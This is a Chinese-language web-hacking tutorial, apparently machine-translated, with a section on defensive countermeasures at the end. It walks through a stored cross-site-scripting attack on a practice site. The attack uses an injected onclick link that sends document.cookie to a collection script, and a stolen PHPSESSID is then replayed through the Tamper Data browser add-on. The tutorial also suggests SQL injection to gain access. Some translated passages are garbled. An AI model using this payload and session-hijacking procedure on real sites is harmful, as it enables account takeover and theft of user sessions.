如何入侵网站？网站入侵技巧

越来越多的人可以访问互联网。这促使许多组织开发基于 Web 的应用程序，用户可以使用这些应用程序在线与组织进行交互。编写不当的 Web 应用程序代码可能会被利用来未经授权访问敏感数据和 Web 服务器。

您将学习常见的网站黑客攻击技术以及抵御此类攻击的应对措施。

如何破解网站

在此网站黑客攻击实际场景中，我们将劫持位于以下位置的 Web 应用程序的用户会话： www.techpanda.org我们将使用跨站脚本技术读取 cookie 会话 ID，然后利用它来冒充合法用户会话。

假设攻击者已获得对 Web 应用程序的访问权限，并试图劫持其他使用同一应用程序的用户的会话。假设攻击者的访问帐户权限有限，则此次攻击的目标可能是获取 Web 应用程序的管理员权限。

步骤 1) 打开 URL http://www.techpanda.org/.

为了练习，强烈建议使用 SQL 注入攻击获取访问权限。请参阅…… 本文关于 SQL 注入 以获取有关如何执行此操作的更多信息。

步骤 2）输入登录信息。

登录邮箱是 admin@google.com，密码是 Password2010。

步骤 3）查看仪表盘。

如果您已成功登录，则将看到以下仪表板。

步骤 4）输入新内容。

点击“添加新联系人”，然后输入以下内容作为名字：

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

步骤5）添加 Java脚本。

上述代码使用 Java脚本。它添加了一个带有 onclick 事件的超链接。当毫无防备的用户点击该链接时，事件会检索…… PHP cookie 会话 ID 并将其与会话 ID 一起发送到 snatch_sess_id.php 页面。 URL.

步骤 6）添加详细信息。

请按如下所示输入剩余信息，然后单击“保存更改”。

步骤 7）查看仪表盘。

您的仪表盘现在应该如下图所示。

步骤 8）检查会话 ID。

由于跨站脚本存储在数据库中，因此每次具有访问权限的用户登录时都会加载它。当管理员登录并单击标有“Dark”的超链接时，会弹出一个窗口，其中显示会话 ID。 URL.

注意：该脚本可能会将该值发送到存储 PHPSESSID 的远程服务器，然后将用户重定向回来，就像什么都没发生一样。

注意：您得到的值可能与此处显示的值不同，但概念是相同的。

会话模拟使用 Firefox 和篡改数据附加组件

注意：下方所示的经典 Tamper Data 插件已无法安装在当前版本上。 Firefox但它所阐明的概念——拦截和修改 HTTP 请求以重放捕获的会话——并没有改变。

下面的流程图显示了完成此练习必须采取的步骤。

• 您需要 Firefox 本部分的网络浏览器和 Tamper Data 插件。
• 可选 Firefox 然后按照下图所示安装插件。

• 搜索篡改数据，然后点击如上所示的安装按钮。

• 单击“接受并安装”...

• 安装完成后，点击“立即重启”。
• 启用菜单栏 Firefox 如果未显示。

• 点击“工具”菜单，然后选择“篡改数据”，如下图所示。

• 您将看到以下窗口。注意：如果窗口不为空，请点击“清除”按钮。

• 点击“开始篡改”菜单。
• 切换回 Firefox 在网页浏览器中，输入 http://www.techpanda.org/dashboard.php，然后按回车键加载页面。
• 您将看到来自 Tamper Data 的以下弹出窗口。

• 弹出窗口有三个选项。“篡改”选项允许您在将 HTTP 标头信息提交给服务器之前对其进行修改。
• 点击它。
• 您将看到以下窗口。

• 复制你从攻击中复制的 PHP 会话 ID URL 并将其粘贴到等号后面。您的值现在应该看起来像这样。

PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

• 点击确定按钮。
• 您将再次看到“篡改数据”弹出窗口。

• 取消选中询问是否继续篡改？的复选框。
• 完成后，点击提交按钮。
• 您应该能够看到如下所示的仪表盘。

注意：我们没有登录；我们使用跨站脚本技术获取的 PHPSESSID 值模拟了登录会话。

什么是 Web 应用程序？什么是 Web 威胁？

Web应用程序（又称网站）是基于客户端-服务器模型的应用程序。服务器提供数据库访问和业务逻辑，并托管在Web服务器上。客户端应用程序运行在客户端Web浏览器上。Web应用程序通常使用诸如……之类的语言编写。 JavaC#、VB.Net PHP以及 ColdFusion 标记语言等。Web 应用程序中使用的数据库引擎包括 MySQL、MS SQL 服务器、 PostgreSQL, SQLite等等。

顶级网站黑客技术

大多数 Web 应用程序都托管在公共服务器上。 台服务器 可通过互联网访问。这使得它们由于易于访问而容易受到攻击。以下是一些常见的Web应用程序威胁。

• SQL注入 – 此威胁的目标可能是绕过登录算法、破坏数据等。
• 拒绝服务 攻击 ——此威胁的目的可能是阻止合法用户访问资源。
• 跨站点脚本（XSS） – 此威胁的目标可能是注入可在客户端浏览器上执行的代码。
• Cookie/会话中毒 – 此威胁的目标是通过攻击者修改 cookie/会话数据来获取未经授权的访问。
• 表单篡改 – 该威胁的目标是修改电子商务应用程序中的价格等表单数据，以便攻击者可以以折扣价获得商品。
• Code 注射 – 此威胁的目标是注入 PHP 等代码， Python等可以在服务器上执行的代码。这些代码可以安装后门、泄露敏感信息等。
• 污损 – 此威胁的目标是修改网站上显示的页面，并将所有页面请求重定向到包含攻击者消息的单个页面。

如何保护您的网站免遭黑客攻击？

组织可以采用以下策略来保护自己免受 Web 服务器攻击。

• SQL注入 在将用户参数提交到数据库进行处理之前对其进行清理和验证，有助于降低遭受 SQL 注入攻击的风险。诸如 MS SQL Server 之类的数据库引擎， MySQL等等，它们支持参数和预处理语句。它们比传统的 SQL 语句安全得多。
• 拒绝服务攻击 – 如果攻击只是简单的拒绝服务攻击（DoS攻击），可以使用防火墙拦截来自可疑IP地址的流量。正确配置网络和入侵检测系统也有助于降低DoS攻击成功的概率。
• 跨站脚本 – 验证和清理通过以下方式传递的标头和参数 URL表单参数和隐藏值可以帮助减少 XSS 攻击。
• Cookie/会话中毒 – 可以通过加密 cookie 的内容、在一段时间后使 cookie 过期以及将 cookie 与用于创建它们的客户端 IP 地址关联来防止这种情况发生。
• 表单篡改 – 可以通过在处理用户输入之前对其进行验证来防止这种情况发生。
• Code 注射 ——可以通过将所有参数视为数据而非可执行代码来避免这种情况。可以使用数据清理和验证来实现这一点。
• 污损 ——一个好 网络应用安全 策略应确保封堵常用的用于访问 Web 服务器的漏洞。这可以通过正确配置操作系统、Web 服务器软件以及在开发过程中采用最佳安全实践来实现。ping 网络应用程序。

检查这个： 9热销品 URL 用于检查链接是否安全的扫描器，以检测恶意软件。

常见问题